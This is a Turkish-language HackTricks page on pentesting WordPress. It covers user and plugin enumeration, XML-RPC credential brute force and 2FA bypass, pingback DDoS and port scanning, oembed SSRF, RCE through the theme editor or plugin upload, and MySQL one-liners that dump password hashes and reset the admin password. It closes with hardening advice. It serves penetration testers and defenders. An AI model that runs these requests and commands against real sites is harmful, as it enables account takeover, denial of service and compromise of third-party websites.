hacktricks/network-services-pentesting/pentesting-web/wordpress.md

24 KiB
Raw Blame History

Wordpress

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Temel Bilgiler

Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: theme twentytwelve kullanarak 404.php dosyasına erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
Başka bir yararlı url olabilir: /wp-content/themes/default/404.php

wp-config.php dosyasında veritabanının root şifresini bulabilirsiniz.

Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php
  • license.txt WordPress'in kurulu sürümü gibi yararlı bilgiler içerir.
  • wp-activate.php yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılabilir):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php WordPress'in verilerin HTTP ile iletilmesini sağlayan bir özelliğini temsil eden bir dosyadır; burada HTTP taşıma mekanizması ve XML kodlama mekanizması olarak işlev görür. Bu tür bir iletişim, WordPress REST API ile değiştirilmiştir.
  • wp-content klasörü, eklentilerin ve temaların saklandığı ana dizindir.
  • wp-content/uploads/ Platforma yüklenen dosyaların saklandığı dizindir.
  • wp-includes/ Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
  • wp-sitemap.xml WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya açık sorgulanabilir gönderi türleri ve taksonomiler ile bir harita XML dosyası oluşturur.

Sonrası istismar

  • wp-config.php dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu bilgileri içerir; bu bilgiler arasında veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki bulunur. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.

Kullanıcı İzinleri

  • Yönetici
  • Editör: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
  • Yazar: Kendi gönderilerini yayınlar ve yönetir
  • Katkıda Bulunan: Kendi gönderilerini yazar ve yönetir ancak yayınlayamaz
  • Abone: Gönderileri tarar ve profilini düzenler

Pasif Sıralama

WordPress sürümünü öğrenin

/license.txt veya /readme.html dosyalarını bulup bulamayacağınıza bakın.

Sayfanın kaynak kodu içinde (örnek https://wordpress.org/support/article/pages/ adresinden):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS bağlantı dosyaları

  • JavaScript dosyaları

Eklentileri Alın

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}

Sürümleri genel olarak çıkarma

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Aktif numaralandırma

Eklentiler ve Temalar

Tüm Eklentileri ve Temaları bulamayabilirsiniz. Hepsini keşfetmek için, Eklentiler ve Temalar listesini Aktif Brute Force yapmanız gerekecek (umarız ki bu listeleri içeren otomatik araçlar var).

Kullanıcılar

ID Brute

Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Force yaparak elde edersiniz:

curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, o zaman id geçersizdir.

wp-json

Ayrıca, kullanıcılar hakkında bilgi almak için sorgulama yapmayı da deneyebilirsiniz:

curl http://blog.example.com/wp-json/wp/v2/users

Başka bir /wp-json/ uç noktası, kullanıcılar hakkında bazı bilgileri açığa çıkarabilir:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Not edin ki bu uç nokta yalnızca bir gönderi yapmış kullanıcılarıığa çıkarır. Bu özelliği etkinleştiren kullanıcılar hakkında yalnızca bilgi sağlanacaktır.

Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.

Giriş kullanıcı adı sayımı

/wp-login.php'da giriş yaparken mesaj farklıdır eğer belirtilen kullanıcı adı mevcutsa veya değilse.

XML-RPC

Eğer xml-rpc.php aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için bunu kullanabilirsiniz, örneğin).

Aktif olup olmadığını görmek için /xmlrpc.php adresine erişmeyi deneyin ve bu isteği gönderin:

Kontrol Et

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kimlik Bilgileri Kaba Kuvvet

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Mesaj "Geçersiz kullanıcı adı veya şifre" 200 kodlu bir yanıt içinde, kimlik bilgileri geçerli değilse görünmelidir.

Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için system.multicall kullanarak kimlik bilgilerini zorlamak için daha hızlı bir yol vardır:

2FA'yı Atlatma

Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130sıklamasında olduğu gibi RCE'ye ulaşmanız hala mümkün olabilir.

DDoS veya port taraması

Eğer listede pingback.ping yöntemini bulursanız, Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesinin bir konuma erişmesi için istek yapması (yani o konumda bir DDoS oluşturulması) veya Wordpress'in bazıağları taramasını sağlamak için kullanılabilir (herhangi bir portu belirtebilirsiniz).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer faultCode değeri 0'dan büyük (17) ise, bu portun açık olduğu anlamına gelir.

Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki system.multicall kullanımına bakın.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kökünde bulunur: /wp-cron.php
Bu dosya erişildiğinde "ağır" bir MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından bir DoS oluşturmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara neden olabilir (DoS).

Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklarla gerçekleştiren gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun yaratmadan).

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.

Bu çalışmadığında gelen yanıt:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

Bu araç methodName: pingback.ping ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır.

Otomatik Araçlar

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Bir biti geçersiz kılarak erişim elde etme

Gerçek bir saldırıdan çok bir merak. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece /var/www/html/wp-includes/user.php dosyasının 5389 konumunu NOT (!) işlemini NOP yapmak için değiştirebilirsiniz.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)

Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)

Bir php shell için içeriği değiştirin:

Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Şunu kullanabilirsiniz:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Eklenti RCE

PHP eklentisi

Eklenti olarak .php dosyaları yüklemek mümkün olabilir.
Örneğin, php arka kapınızı oluşturun:

Sonra yeni bir eklenti ekleyin:

Eklentiyi yükleyin ve Şimdi Yükle'ye basın:

Devam'a tıklayın:

Muhtemelen bu görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, yüklediğiniz shell'i göreceksiniz:

Erişin ve ters shell'i çalıştırmak için URL'yi göreceksiniz:

Kötü niyetli eklentiyi yükleme ve etkinleştirme

Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesini içerir ve bir web shell elde etmek için istismar edilebilir. Bu süreç, WordPress kontrol paneli aracılığıyla aşağıdaki gibi gerçekleştirilir:

  1. Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan buradan edinilir.
  2. Eklenti Yükleme:
  • WordPress kontrol paneline gidin, ardından Kontrol Paneli > Eklentiler > Eklenti Yükle seçeneğine gidin.
  • İndirilen eklentinin zip dosyasını yükleyin.
  1. Eklenti Etkinleştirme: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
  2. İstismar:
  • "reflex-gallery" eklentisi yüklendiğinde ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
  • Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, yetkisiz erişim sağlayan bir meterpreter oturumu oluşturulabilir.
  • Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.

İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle penetrasyon testi için kullanılmalıdır.

Daha ayrıntılı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS'den RCE'ye

  • WPXStrike: WPXStrike, Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için bu gönderiye bakın. WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:
  • Yetki Yükseltme: WordPress'te bir kullanıcı oluşturur.
  • (RCE) Özel Eklenti (arka kapı) Yükleme: Özel eklentinizi (arka kapı) WordPress'e yükleyin.
  • (RCE) Yerleşik Eklenti Düzenleme: WordPress'teki Yerleşik Eklentileri düzenleyin.
  • (RCE) Yerleşik Tema Düzenleme: WordPress'teki Yerleşik Temaları düzenleyin.
  • (Özel) Özel İstismarlar: Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar.

İstismar Sonrası

Kullanıcı adlarını ve şifreleri çıkarın:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin şifresini değiştir:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Eklentileri Pentest

Saldırı Yüzeyi

Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, işlevselliğindeki zayıflıkları bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki madde işaretlerinde ve bu blog yazısında bazı zayıf eklenti örneklerinde bulabilirsiniz.

  • wp_ajax

Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, herhangi bir Wordpress örneğinde kimlik doğrulaması yapılmış bir kullanıcının sahip olabileceği bir Wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).

Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv kullanımı, uç noktanın herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir olmasını sağlar.

{% hint style="danger" %} Ayrıca, eğer fonksiyon sadece wp_verify_nonce fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir. {% endhint %}

  • REST API

register_rest_route fonksiyonunu kullanarak wordpress'ten fonksiyonlarıığa çıkarmak da mümkündür:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir işlevin geri çağrılmasıdır.

Eğer yerleşik __return_true işlevi kullanılıyorsa, kullanıcı izinleri kontrolü atlanacaktır.

  • PHP dosyasına doğrudan erişim

Elbette, Wordpress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.

WordPress Koruması

Düzenli Güncellemeler

WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca, wp-config.php dosyasında otomatik güncellemenin etkin olduğunu doğrulayın:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, sadece güvenilir WordPress eklentileri ve temaları yükleyin.

Güvenlik Eklentileri

Diğer Öneriler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü şifreler ve 2FA kullanın
  • Kullanıcı izinlerini periyodik olarak gözden geçirin
  • Brute Force saldırılarını önlemek için giriş denemelerini sınırlayın
  • wp-admin.php dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.


Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}